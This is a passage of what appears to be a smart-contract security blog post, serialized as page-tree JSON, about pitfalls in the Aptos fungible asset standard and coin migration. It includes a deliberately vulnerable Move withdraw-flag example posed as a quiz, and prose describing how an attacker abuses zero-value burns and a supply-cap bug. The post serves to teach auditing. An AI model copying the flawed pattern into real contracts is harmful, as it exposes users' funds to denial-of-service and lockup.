assert_withdraw_flag",{"type":24,"tag":83,"props":66074,"children":66075},{"style":107},[66076],{"type":29,"value":558},{"type":24,"tag":83,"props":66078,"children":66079},{"style":90},[66080],{"type":29,"value":1237},{"type":24,"tag":83,"props":66082,"children":66083},{"style":107},[66084],{"type":29,"value":581},{"type":24,"tag":83,"props":66086,"children":66087},{"class":85,"line":128},[66088,66092,66096],{"type":24,"tag":83,"props":66089,"children":66090},{"style":107},[66091],{"type":29,"value":62433},{"type":24,"tag":83,"props":66093,"children":66094},{"style":143},[66095],{"type":29,"value":509},{"type":24,"tag":83,"props":66097,"children":66098},{"style":107},[66099],{"type":29,"value":1453},{"type":24,"tag":83,"props":66101,"children":66102},{"class":85,"line":183},[66103,66108,66112,66116],{"type":24,"tag":83,"props":66104,"children":66105},{"style":101},[66106],{"type":29,"value":66107},"    set_withdraw_flag",{"type":24,"tag":83,"props":66109,"children":66110},{"style":107},[66111],{"type":29,"value":558},{"type":24,"tag":83,"props":66113,"children":66114},{"style":90},[66115],{"type":29,"value":1617},{"type":24,"tag":83,"props":66117,"children":66118},{"style":107},[66119],{"type":29,"value":581},{"type":24,"tag":83,"props":66121,"children":66122},{"class":85,"line":203},[66123,66127,66131,66135,66139,66143,66147,66151,66155,66159],{"type":24,"tag":83,"props":66124,"children":66125},{"style":107},[66126],{"type":29,"value":65675},{"type":24,"tag":83,"props":66128,"children":66129},{"style":143},[66130],{"type":29,"value":3226},{"type":24,"tag":83,"props":66132,"children":66133},{"style":101},[66134],{"type":29,"value":65863},{"type":24,"tag":83,"props":66136,"children":66137},{"style":107},[66138],{"type":29,"value":558},{"type":24,"tag":83,"props":66140,"children":66141},{"style":137},[66142],{"type":29,"value":65693},{"type":24,"tag":83,"props":66144,"children":66145},{"style":107},[66146],{"type":29,"value":568},{"type":24,"tag":83,"props":66148,"children":66149},{"style":137},[66150],{"type":29,"value":5686},{"type":24,"tag":83,"props":66152,"children":66153},{"style":107},[66154],{"type":29,"value":568},{"type":24,"tag":83,"props":66156,"children":66157},{"style":137},[66158],{"type":29,"value":20047},{"type":24,"tag":83,"props":66160,"children":66161},{"style":107},[66162],{"type":29,"value":581},{"type":24,"tag":83,"props":66164,"children":66165},{"class":85,"line":212},[66166,66170,66174],{"type":24,"tag":83,"props":66167,"children":66168},{"style":107},[66169],{"type":29,"value":62433},{"type":24,"tag":83,"props":66171,"children":66172},{"style":143},[66173],{"type":29,"value":509},{"type":24,"tag":83,"props":66175,"children":66176},{"style":107},[66177],{"type":29,"value":1453},{"type":24,"tag":83,"props":66179,"children":66180},{"class":85,"line":256},[66181],{"type":24,"tag":83,"props":66182,"children":66183},{"style":107},[66184],{"type":29,"value":446},{"type":24,"tag":83,"props":66186,"children":66187},{"class":85,"line":270},[66188],{"type":24,"tag":83,"props":66189,"children":66190},{"emptyLinePlaceholder":16},[66191],{"type":29,"value":3422},{"type":24,"tag":83,"props":66193,"children":66194},{"class":85,"line":302},[66195,66199,66203,66207,66211,66215,66219,66223,66227,66231,66235,66239,66243,66247,66251,66255,66259,66263,66267,66271,66275,66279,66283,66287,66291,66295,66299,66303,66307],{"type":24,"tag":83,"props":66196,"children":66197},{"style":137},[66198],{"type":29,"value":61390},{"type":24,"tag":83,"props":66200,"children":66201},{"style":137},[66202],{"type":29,"value":5953},{"type":24,"tag":83,"props":66204,"children":66205},{"style":137},[66206],{"type":29,"value":20012},{"type":24,"tag":83,"props":66208,"children":66209},{"style":107},[66210],{"type":29,"value":5552},{"type":24,"tag":83,"props":66212,"children":66213},{"style":3163},[66214],{"type":29,"value":5733},{"type":24,"tag":83,"props":66216,"children":66217},{"style":143},[66218],{"type":29,"value":195},{"type":24,"tag":83,"props":66220,"children":66221},{"style":137},[66222],{"type":29,"value":5677},{"type":24,"tag":83,"props":66224,"children":66225},{"style":107},[66226],{"type":29,"value":7358},{"type":24,"tag":83,"props":66228,"children":66229},{"style":137},[66230],{"type":29,"value":5686},{"type":24,"tag":83,"props":66232,"children":66233},{"style":143},[66234],{"type":29,"value":195},{"type":24,"tag":83,"props":66236,"children":66237},{"style":3163},[66238],{"type":29,"value":61276},{"type":24,"tag":83,"props":66240,"children":66241},{"style":107},[66242],{"type":29,"value":5552},{"type":24,"tag":83,"props":66244,"children":66245},{"style":3163},[66246],{"type":29,"value":5733},{"type":24,"tag":83,"props":66248,"children":66249},{"style":107},[66250],{"type":29,"value":6377},{"type":24,"tag":83,"props":66252,"children":66253},{"style":137},[66254],{"type":29,"value":20047},{"type":24,"tag":83,"props":66256,"children":66257},{"style":143},[66258],{"type":29,"value":195},{"type":24,"tag":83,"props":66260,"children":66261},{"style":3163},[66262],{"type":29,"value":5606},{"type":24,"tag":83,"props":66264,"children":66265},{"style":107},[66266],{"type":29,"value":568},{"type":24,"tag":83,"props":66268,"children":66269},{"style":137},[66270],{"type":29,"value":65693},{"type":24,"tag":83,"props":66272,"children":66273},{"style":143},[66274],{"type":29,"value":195},{"type":24,"tag":83,"props":66276,"children":66277},{"style":143},[66278],{"type":29,"value":6888},{"type":24,"tag":83,"props":66280,"children":66281},{"style":3163},[66282],{"type":29,"value":65139},{"type":24,"tag":83,"props":66284,"children":66285},{"style":107},[66286],{"type":29,"value":2872},{"type":24,"tag":83,"props":66288,"children":66289},{"style":143},[66290],{"type":29,"value":195},{"type":24,"tag":83,"props":66292,"children":66293},{"style":3163},[66294],{"type":29,"value":61255},{"type":24,"tag":83,"props":66296,"children":66297},{"style":137},[66298],{"type":29,"value":7314},{"type":24,"tag":83,"props":66300,"children":66301},{"style":107},[66302],{"type":29,"value":22772},{"type":24,"tag":83,"props":66304,"children":66305},{"style":143},[66306],{"type":29,"value":509},{"type":24,"tag":83,"props":66308,"children":66309},{"style":107},[66310],{"type":29,"value":61481},{"type":24,"tag":83,"props":66312,"children":66313},{"class":85,"line":324},[66314,66318,66322,66326],{"type":24,"tag":83,"props":66315,"children":66316},{"style":101},[66317],{"type":29,"value":66072},{"type":24,"tag":83,"props":66319,"children":66320},{"style":107},[66321],{"type":29,"value":558},{"type":24,"tag":83,"props":66323,"children":66324},{"style":90},[66325],{"type":29,"value":1617},{"type":24,"tag":83,"props":66327,"children":66328},{"style":107},[66329],{"type":29,"value":581},{"type":24,"tag":83,"props":66331,"children":66332},{"class":85,"line":345},[66333,66337,66341],{"type":24,"tag":83,"props":66334,"children":66335},{"style":107},[66336],{"type":29,"value":62433},{"type":24,"tag":83,"props":66338,"children":66339},{"style":143},[66340],{"type":29,"value":509},{"type":24,"tag":83,"props":66342,"children":66343},{"style":107},[66344],{"type":29,"value":1453},{"type":24,"tag":83,"props":66346,"children":66347},{"class":85,"line":358},[66348,66352,66356,66360],{"type":24,"tag":83,"props":66349,"children":66350},{"style":101},[66351],{"type":29,"value":66107},{"type":24,"tag":83,"props":66353,"children":66354},{"style":107},[66355],{"type":29,"value":558},{"type":24,"tag":83,"props":66357,"children":66358},{"style":90},[66359],{"type":29,"value":1237},{"type":24,"tag":83,"props":66361,"children":66362},{"style":107},[66363],{"type":29,"value":581},{"type":24,"tag":83,"props":66365,"children":66366},{"class":85,"line":367},[66367,66371,66375,66379,66383,66387,66391,66395,66399,66403],{"type":24,"tag":83,"props":66368,"children":66369},{"style":107},[66370],{"type":29,"value":65675},{"type":24,"tag":83,"props":66372,"children":66373},{"style":143},[66374],{"type":29,"value":3226},{"type":24,"tag":83,"props":66376,"children":66377},{"style":101},[66378],{"type":29,"value":65684},{"type":24,"tag":83,"props":66380,"children":66381},{"style":107},[66382],{"type":29,"value":558},{"type":24,"tag":83,"props":66384,"children":66385},{"style":137},[66386],{"type":29,"value":65693},{"type":24,"tag":83,"props":66388,"children":66389},{"style":107},[66390],{"type":29,"value":568},{"type":24,"tag":83,"props":66392,"children":66393},{"style":137},[66394],{"type":29,"value":5686},{"type":24,"tag":83,"props":66396,"children":66397},{"style":107},[66398],{"type":29,"value":568},{"type":24,"tag":83,"props":66400,"children":66401},{"style":137},[66402],{"type":29,"value":20047},{"type":24,"tag":83,"props":66404,"children":66405},{"style":107},[66406],{"type":29,"value":2905},{"type":24,"tag":83,"props":66408,"children":66409},{"class":85,"line":406},[66410],{"type":24,"tag":83,"props":66411,"children":66412},{"style":107},[66413],{"type":29,"value":464},{"type":24,"tag":25,"props":66415,"children":66416},{},[66417],{"type":29,"value":66418},"At first glance, this code appears valid, but not to an astute reader.",{"type":24,"tag":65900,"props":66420,"children":66421},{},[66422,66427],{"type":24,"tag":25,"props":66423,"children":66424},{},[66425],{"type":29,"value":66426},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":24,"tag":65931,"props":66428,"children":66429},{"v-slot:answer-0":7},[66430,66450],{"type":24,"tag":25,"props":66431,"children":66432},{},[66433,66435,66440,66442,66448],{"type":29,"value":66434},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":24,"tag":32,"props":66436,"children":66438},{"className":66437},[],[66439],{"type":29,"value":61226},{"type":29,"value":66441}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":24,"tag":32,"props":66443,"children":66445},{"className":66444},[],[66446],{"type":29,"value":66447},"fungible_asset::destroy_zero",{"type":29,"value":66449},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":24,"tag":25,"props":66451,"children":66452},{},[66453],{"type":29,"value":66454},"It's important to understand all the features in the standard.",{"type":24,"tag":51,"props":66456,"children":66458},{"id":66457},"migrating-from-coins-to-fungible-assets",[66459],{"type":29,"value":66460},"Migrating from coins to fungible assets",{"type":24,"tag":25,"props":66462,"children":66463},{},[66464,66466,66471],{"type":29,"value":66465},"If a fungible asset is considered an upgrade to ",{"type":24,"tag":32,"props":66467,"children":66469},{"className":66468},[],[66470],{"type":29,"value":60681},{"type":29,"value":66472},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":24,"tag":66474,"props":66475,"children":66476},"note",{},[66477],{"type":24,"tag":25,"props":66478,"children":66479},{},[66480,66482,66487,66489,66494],{"type":29,"value":66481},"While the ",{"type":24,"tag":32,"props":66483,"children":66485},{"className":66484},[],[66486],{"type":29,"value":60681},{"type":29,"value":66488}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":24,"tag":32,"props":66490,"children":66492},{"className":66491},[],[66493],{"type":29,"value":60681},{"type":29,"value":161},{"type":24,"tag":25,"props":66496,"children":66497},{},[66498,66499,66505,66507,66512,66514,66519],{"type":29,"value":16348},{"type":24,"tag":32,"props":66500,"children":66502},{"className":66501},[],[66503],{"type":29,"value":66504},"coin_to_fungible_asset",{"type":29,"value":66506}," converting function automatically generates a corresponding fungible asset for a ",{"type":24,"tag":32,"props":66508,"children":66510},{"className":66509},[],[66511],{"type":29,"value":60681},{"type":29,"value":66513}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":24,"tag":32,"props":66515,"children":66517},{"className":66516},[],[66518],{"type":29,"value":60681},{"type":29,"value":66520}," is not allowed.",{"type":24,"tag":73,"props":66522,"children":66524},{"className":2725,"code":66523,"language":2724,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[66525],{"type":24,"tag":32,"props":66526,"children":66527},{"__ignoreMap":7},[66528,66556,66583,66619,66652,66685,66721],{"type":24,"tag":83,"props":66529,"children":66530},{"class":85,"line":86},[66531,66535,66539,66544,66548,66552],{"type":24,"tag":83,"props":66532,"children":66533},{"style":137},[66534],{"type":29,"value":61390},{"type":24,"tag":83,"props":66536,"children":66537},{"style":137},[66538],{"type":29,"value":5953},{"type":24,"tag":83,"props":66540,"children":66541},{"style":137},[66542],{"type":29,"value":66543}," coin_to_fungible_asset",{"type":24,"tag":83,"props":66545,"children":66546},{"style":107},[66547],{"type":29,"value":5552},{"type":24,"tag":83,"props":66549,"children":66550},{"style":3163},[66551],{"type":29,"value":6330},{"type":24,"tag":83,"props":66553,"children":66554},{"style":107},[66555],{"type":29,"value":6335},{"type":24,"tag":83,"props":66557,"children":66558},{"class":85,"line":113},[66559,66563,66567,66571,66575,66579],{"type":24,"tag":83,"props":66560,"children":66561},{"style":137},[66562],{"type":29,"value":60900},{"type":24,"tag":83,"props":66564,"children":66565},{"style":143},[66566],{"type":29,"value":195},{"type":24,"tag":83,"props":66568,"children":66569},{"style":3163},[66570],{"type":29,"value":5547},{"type":24,"tag":83,"props":66572,"children":66573},{"style":107},[66574],{"type":29,"value":5552},{"type":24,"tag":83,"props":66576,"children":66577},{"style":3163},[66578],{"type":29,"value":6330},{"type":24,"tag":83,"props":66580,"children":66581},{"style":107},[66582],{"type":29,"value":5738},{"type":24,"tag":83,"props":66584,"children":66585},{"class":85,"line":128},[66586,66590,66594,66598,66602,66607,66611,66615],{"type":24,"tag":83,"props":66587,"children":66588},{"style":107},[66589],{"type":29,"value":2872},{"type":24,"tag":83,"props":66591,"children":66592},{"style":143},[66593],{"type":29,"value":195},{"type":24,"tag":83,"props":66595,"children":66596},{"style":3163},[66597],{"type":29,"value":61255},{"type":24,"tag":83,"props":66599,"children":66600},{"style":137},[66601],{"type":29,"value":7314},{"type":24,"tag":83,"props":66603,"children":66604},{"style":3163},[66605],{"type":29,"value":66606}," CoinConversionMap",{"type":24,"tag":83,"props":66608,"children":66609},{"style":107},[66610],{"type":29,"value":568},{"type":24,"tag":83,"props":66612,"children":66613},{"style":3163},[66614],{"type":29,"value":6460},{"type":24,"tag":83,"props":66616,"children":66617},{"style":107},[66618],{"type":29,"value":125},{"type":24,"tag":83,"props":66620,"children":66621},{"class":85,"line":183},[66622,66626,66631,66635,66640,66644,66648],{"type":24,"tag":83,"props":66623,"children":66624},{"style":90},[66625],{"type":29,"value":2746},{"type":24,"tag":83,"props":66627,"children":66628},{"style":137},[66629],{"type":29,"value":66630}," metadata",{"type":24,"tag":83,"props":66632,"children":66633},{"style":143},[66634],{"type":29,"value":146},{"type":24,"tag":83,"props":66636,"children":66637},{"style":137},[66638],{"type":29,"value":66639}," ensure_paired_metadata",{"type":24,"tag":83,"props":66641,"children":66642},{"style":107},[66643],{"type":29,"value":5552},{"type":24,"tag":83,"props":66645,"children":66646},{"style":3163},[66647],{"type":29,"value":6330},{"type":24,"tag":83,"props":66649,"children":66650},{"style":107},[66651],{"type":29,"value":8197},{"type":24,"tag":83,"props":66653,"children":66654},{"class":85,"line":203},[66655,66659,66664,66668,66673,66677,66681],{"type":24,"tag":83,"props":66656,"children":66657},{"style":90},[66658],{"type":29,"value":2746},{"type":24,"tag":83,"props":66660,"children":66661},{"style":137},[66662],{"type":29,"value":66663}," amount",{"type":24,"tag":83,"props":66665,"children":66666},{"style":143},[66667],{"type":29,"value":146},{"type":24,"tag":83,"props":66669,"children":66670},{"style":101},[66671],{"type":29,"value":66672}," burn_internal",{"type":24,"tag":83,"props":66674,"children":66675},{"style":107},[66676],{"type":29,"value":558},{"type":24,"tag":83,"props":66678,"children":66679},{"style":137},[66680],{"type":29,"value":60648},{"type":24,"tag":83,"props":66682,"children":66683},{"style":107},[66684],{"type":29,"value":581},{"type":24,"tag":83,"props":66686,"children":66687},{"class":85,"line":212},[66688,66692,66696,66701,66705,66709,66713,66717],{"type":24,"tag":83,"props":66689,"children":66690},{"style":107},[66691],{"type":29,"value":65675},{"type":24,"tag":83,"props":66693,"children":66694},{"style":143},[66695],{"type":29,"value":3226},{"type":24,"tag":83,"props":66697,"children":66698},{"style":101},[66699],{"type":29,"value":66700},"mint_internal",{"type":24,"tag":83,"props":66702,"children":66703},{"style":107},[66704],{"type":29,"value":558},{"type":24,"tag":83,"props":66706,"children":66707},{"style":137},[66708],{"type":29,"value":62027},{"type":24,"tag":83,"props":66710,"children":66711},{"style":107},[66712],{"type":29,"value":568},{"type":24,"tag":83,"props":66714,"children":66715},{"style":137},[66716],{"type":29,"value":20047},{"type":24,"tag":83,"props":66718,"children":66719},{"style":107},[66720],{"type":29,"value":2905},{"type":24,"tag":83,"props":66722,"children":66723},{"class":85,"line":256},[66724],{"type":24,"tag":83,"props":66725,"children":66726},{"style":107},[66727],{"type":29,"value":464},{"type":24,"tag":25,"props":66729,"children":66730},{},[66731,66733,66740],{"type":29,"value":66732},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":24,"tag":2033,"props":66734,"children":66737},{"href":66735,"rel":66736},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[2037],[66738],{"type":29,"value":66739},"noticed an overlooked detail",{"type":29,"value":66741}," in the linking process.",{"type":24,"tag":73,"props":66743,"children":66745},{"className":2725,"code":66744,"language":2724,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[66746],{"type":24,"tag":32,"props":66747,"children":66748},{"__ignoreMap":7},[66749,66764,66784,66801,66857,66878,66898,66918,66948,66975,66982],{"type":24,"tag":83,"props":66750,"children":66751},{"class":85,"line":86},[66752,66756,66760],{"type":24,"tag":83,"props":66753,"children":66754},{"style":107},[66755],{"type":29,"value":1161},{"type":24,"tag":83,"props":66757,"children":66758},{"style":143},[66759],{"type":29,"value":509},{"type":24,"tag":83,"props":66761,"children":66762},{"style":107},[66763],{"type":29,"value":1453},{"type":24,"tag":83,"props":66765,"children":66766},{"class":85,"line":113},[66767,66771,66775,66780],{"type":24,"tag":83,"props":66768,"children":66769},{"style":107},[66770],{"type":29,"value":62324},{"type":24,"tag":83,"props":66772,"children":66773},{"style":143},[66774],{"type":29,"value":3226},{"type":24,"tag":83,"props":66776,"children":66777},{"style":101},[66778],{"type":29,"value":66779},"create_primary_store_enabled_fungible_asset",{"type":24,"tag":83,"props":66781,"children":66782},{"style":107},[66783],{"type":29,"value":3208},{"type":24,"tag":83,"props":66785,"children":66786},{"class":85,"line":128},[66787,66792,66797],{"type":24,"tag":83,"props":66788,"children":66789},{"style":143},[66790],{"type":29,"value":66791},"    &",{"type":24,"tag":83,"props":66793,"children":66794},{"style":137},[66795],{"type":29,"value":66796},"metadata_object_cref",{"type":24,"tag":83,"props":66798,"children":66799},{"style":107},[66800],{"type":29,"value":989},{"type":24,"tag":83,"props":66802,"children":66803},{"class":85,"line":183},[66804,66809,66813,66818,66822,66827,66831,66835,66840,66844,66848,66852],{"type":24,"tag":83,"props":66805,"children":66806},{"style":107},[66807],{"type":29,"value":66808},"    option",{"type":24,"tag":83,"props":66810,"children":66811},{"style":143},[66812],{"type":29,"value":3226},{"type":24,"tag":83,"props":66814,"children":66815},{"style":101},[66816],{"type":29,"value":66817},"map",{"type":24,"tag":83,"props":66819,"children":66820},{"style":107},[66821],{"type":29,"value":558},{"type":24,"tag":83,"props":66823,"children":66824},{"style":137},[66825],{"type":29,"value":66826},"coin_supply",{"type":24,"tag":83,"props":66828,"children":66829},{"style":107},[66830],{"type":29,"value":5552},{"type":24,"tag":83,"props":66832,"children":66833},{"style":3163},[66834],{"type":29,"value":6330},{"type":24,"tag":83,"props":66836,"children":66837},{"style":107},[66838],{"type":29,"value":66839},">(), ",{"type":24,"tag":83,"props":66841,"children":66842},{"style":143},[66843],{"type":29,"value":10163},{"type":24,"tag":83,"props":66845,"children":66846},{"style":137},[66847],{"type":29,"value":2827},{"type":24,"tag":83,"props":66849,"children":66850},{"style":143},[66851],{"type":29,"value":10163},{"type":24,"tag":83,"props":66853,"children":66854},{"style":107},[66855],{"type":29,"value":66856}," MAX_U128),\n",{"type":24,"tag":83,"props":66858,"children":66859},{"class":85,"line":203},[66860,66865,66869,66873],{"type":24,"tag":83,"props":66861,"children":66862},{"style":137},[66863],{"type":29,"value":66864},"    name",{"type":24,"tag":83,"props":66866,"children":66867},{"style":107},[66868],{"type":29,"value":5552},{"type":24,"tag":83,"props":66870,"children":66871},{"style":3163},[66872],{"type":29,"value":6330},{"type":24,"tag":83,"props":66874,"children":66875},{"style":107},[66876],{"type":29,"value":66877},">(),\n",{"type":24,"tag":83,"props":66879,"children":66880},{"class":85,"line":212},[66881,66886,66890,66894],{"type":24,"tag":83,"props":66882,"children":66883},{"style":137},[66884],{"type":29,"value":66885},"    symbol",{"type":24,"tag":83,"props":66887,"children":66888},{"style":107},[66889],{"type":29,"value":5552},{"type":24,"tag":83,"props":66891,"children":66892},{"style":3163},[66893],{"type":29,"value":6330},{"type":24,"tag":83,"props":66895,"children":66896},{"style":107},[66897],{"type":29,"value":66877},{"type":24,"tag":83,"props":66899,"children":66900},{"class":85,"line":256},[66901,66906,66910,66914],{"type":24,"tag":83,"props":66902,"children":66903},{"style":137},[66904],{"type":29,"value":66905},"    decimals",{"type":24,"tag":83,"props":66907,"children":66908},{"style":107},[66909],{"type":29,"value":5552},{"type":24,"tag":83,"props":66911,"children":66912},{"style":3163},[66913],{"type":29,"value":6330},{"type":24,"tag":83,"props":66915,"children":66916},{"style":107},[66917],{"type":29,"value":66877},{"type":24,"tag":83,"props":66919,"children":66920},{"class":85,"line":270},[66921,66926,66930,66935,66939,66944],{"type":24,"tag":83,"props":66922,"children":66923},{"style":107},[66924],{"type":29,"value":66925},"    string",{"type":24,"tag":83,"props":66927,"children":66928},{"style":143},[66929],{"type":29,"value":3226},{"type":24,"tag":83,"props":66931,"children":66932},{"style":101},[66933],{"type":29,"value":66934},"utf8",{"type":24,"tag":83,"props":66936,"children":66937},{"style":107},[66938],{"type":29,"value":558},{"type":24,"tag":83,"props":66940,"children":66941},{"style":187},[66942],{"type":29,"value":66943},"b\"\"",{"type":24,"tag":83,"props":66945,"children":66946},{"style":107},[66947],{"type":29,"value":6483},{"type":24,"tag":83,"props":66949,"children":66950},{"class":85,"line":302},[66951,66955,66959,66963,66967,66971],{"type":24,"tag":83,"props":66952,"children":66953},{"style":107},[66954],{"type":29,"value":66925},{"type":24,"tag":83,"props":66956,"children":66957},{"style":143},[66958],{"type":29,"value":3226},{"type":24,"tag":83,"props":66960,"children":66961},{"style":101},[66962],{"type":29,"value":66934},{"type":24,"tag":83,"props":66964,"children":66965},{"style":107},[66966],{"type":29,"value":558},{"type":24,"tag":83,"props":66968,"children":66969},{"style":187},[66970],{"type":29,"value":66943},{"type":24,"tag":83,"props":66972,"children":66973},{"style":107},[66974],{"type":29,"value":6483},{"type":24,"tag":83,"props":66976,"children":66977},{"class":85,"line":324},[66978],{"type":24,"tag":83,"props":66979,"children":66980},{"style":107},[66981],{"type":29,"value":581},{"type":24,"tag":83,"props":66983,"children":66984},{"class":85,"line":345},[66985,66989,66993],{"type":24,"tag":83,"props":66986,"children":66987},{"style":107},[66988],{"type":29,"value":1161},{"type":24,"tag":83,"props":66990,"children":66991},{"style":143},[66992],{"type":29,"value":509},{"type":24,"tag":83,"props":66994,"children":66995},{"style":107},[66996],{"type":29,"value":1453},{"type":24,"tag":25,"props":66998,"children":66999},{},[67000,67002,67007],{"type":29,"value":67001},"When the linked fungible asset was created, the current ",{"type":24,"tag":32,"props":67003,"children":67005},{"className":67004},[],[67006],{"type":29,"value":60681},{"type":29,"value":67008}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":24,"tag":25,"props":67010,"children":67011},{},[67012,67014,67019,67021,67027,67029,67034],{"type":29,"value":67013},"Users can manually migrate their ",{"type":24,"tag":32,"props":67015,"children":67017},{"className":67016},[],[67018],{"type":29,"value":60843},{"type":29,"value":67020}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":24,"tag":32,"props":67022,"children":67024},{"className":67023},[],[67025],{"type":29,"value":67026},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":67028}," from the caller. All coins in the ",{"type":24,"tag":32,"props":67030,"children":67032},{"className":67031},[],[67033],{"type":29,"value":60843},{"type":29,"value":67035}," are exchanged and transferred to the new store during the migration.",{"type":24,"tag":73,"props":67037,"children":67039},{"className":2725,"code":67038,"language":2724,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[67040],{"type":24,"tag":32,"props":67041,"children":67042},{"__ignoreMap":7},[67043,67051,67083,67103,67139,67180],{"type":24,"tag":83,"props":67044,"children":67045},{"class":85,"line":86},[67046],{"type":24,"tag":83,"props":67047,"children":67048},{"style":2735},[67049],{"type":29,"value":67050},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":24,"tag":83,"props":67052,"children":67053},{"class":85,"line":113},[67054,67058,67062,67066,67071,67075,67079],{"type":24,"tag":83,"props":67055,"children":67056},{"style":137},[67057],{"type":29,"value":61390},{"type":24,"tag":83,"props":67059,"children":67060},{"style":137},[67061],{"type":29,"value":62357},{"type":24,"tag":83,"props":67063,"children":67064},{"style":137},[67065],{"type":29,"value":5953},{"type":24,"tag":83,"props":67067,"children":67068},{"style":137},[67069],{"type":29,"value":67070}," migrate_to_fungible_store",{"type":24,"tag":83,"props":67072,"children":67073},{"style":107},[67074],{"type":29,"value":5552},{"type":24,"tag":83,"props":67076,"children":67077},{"style":3163},[67078],{"type":29,"value":6330},{"type":24,"tag":83,"props":67080,"children":67081},{"style":107},[67082],{"type":29,"value":6335},{"type":24,"tag":83,"props":67084,"children":67085},{"class":85,"line":128},[67086,67090,67094,67098],{"type":24,"tag":83,"props":67087,"children":67088},{"style":137},[67089],{"type":29,"value":24922},{"type":24,"tag":83,"props":67091,"children":67092},{"style":143},[67093],{"type":29,"value":195},{"type":24,"tag":83,"props":67095,"children":67096},{"style":143},[67097],{"type":29,"value":6888},{"type":24,"tag":83,"props":67099,"children":67100},{"style":137},[67101],{"type":29,"value":67102},"signer\n",{"type":24,"tag":83,"props":67104,"children":67105},{"class":85,"line":183},[67106,67110,67114,67118,67122,67127,67131,67135],{"type":24,"tag":83,"props":67107,"children":67108},{"style":107},[67109],{"type":29,"value":633},{"type":24,"tag":83,"props":67111,"children":67112},{"style":137},[67113],{"type":29,"value":6090},{"type":24,"tag":83,"props":67115,"children":67116},{"style":3163},[67117],{"type":29,"value":60864},{"type":24,"tag":83,"props":67119,"children":67120},{"style":107},[67121],{"type":29,"value":568},{"type":24,"tag":83,"props":67123,"children":67124},{"style":3163},[67125],{"type":29,"value":67126},"CoinConversionMap",{"type":24,"tag":83,"props":67128,"children":67129},{"style":107},[67130],{"type":29,"value":568},{"type":24,"tag":83,"props":67132,"children":67133},{"style":3163},[67134],{"type":29,"value":6460},{"type":24,"tag":83,"props":67136,"children":67137},{"style":107},[67138],{"type":29,"value":125},{"type":24,"tag":83,"props":67140,"children":67141},{"class":85,"line":203},[67142,67147,67151,67155,67160,67164,67168,67172,67176],{"type":24,"tag":83,"props":67143,"children":67144},{"style":137},[67145],{"type":29,"value":67146},"    maybe_convert_to_fungible_store",{"type":24,"tag":83,"props":67148,"children":67149},{"style":107},[67150],{"type":29,"value":5552},{"type":24,"tag":83,"props":67152,"children":67153},{"style":3163},[67154],{"type":29,"value":6330},{"type":24,"tag":83,"props":67156,"children":67157},{"style":107},[67158],{"type":29,"value":67159},">(signer",{"type":24,"tag":83,"props":67161,"children":67162},{"style":143},[67163],{"type":29,"value":3226},{"type":24,"tag":83,"props":67165,"children":67166},{"style":101},[67167],{"type":29,"value":6956},{"type":24,"tag":83,"props":67169,"children":67170},{"style":107},[67171],{"type":29,"value":558},{"type":24,"tag":83,"props":67173,"children":67174},{"style":137},[67175],{"type":29,"value":12698},{"type":24,"tag":83,"props":67177,"children":67178},{"style":107},[67179],{"type":29,"value":6970},{"type":24,"tag":83,"props":67181,"children":67182},{"class":85,"line":212},[67183],{"type":24,"tag":83,"props":67184,"children":67185},{"style":107},[67186],{"type":29,"value":464},{"type":24,"tag":25,"props":67188,"children":67189},{},[67190,67192,67197,67199,67204],{"type":29,"value":67191},"A curious reader might wonder about the fate of the ",{"type":24,"tag":32,"props":67193,"children":67195},{"className":67194},[],[67196],{"type":29,"value":60843},{"type":29,"value":67198}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":24,"tag":32,"props":67200,"children":67202},{"className":67201},[],[67203],{"type":29,"value":60843},{"type":29,"value":67205}," to ensure consistency.",{"type":24,"tag":65900,"props":67207,"children":67208},{},[67209,67228],{"type":24,"tag":25,"props":67210,"children":67211},{},[67212,67214,67219,67221,67226],{"type":29,"value":67213},"Could an attacker convert their ",{"type":24,"tag":32,"props":67215,"children":67217},{"className":67216},[],[67218],{"type":29,"value":60843},{"type":29,"value":67220}," to a primary fungible store and then register another ",{"type":24,"tag":32,"props":67222,"children":67224},{"className":67223},[],[67225],{"type":29,"value":60843},{"type":29,"value":67227}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":24,"tag":65931,"props":67229,"children":67230},{"v-slot:answer-0":7},[67231],{"type":24,"tag":25,"props":67232,"children":67233},{},[67234],{"type":29,"value":67235},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible 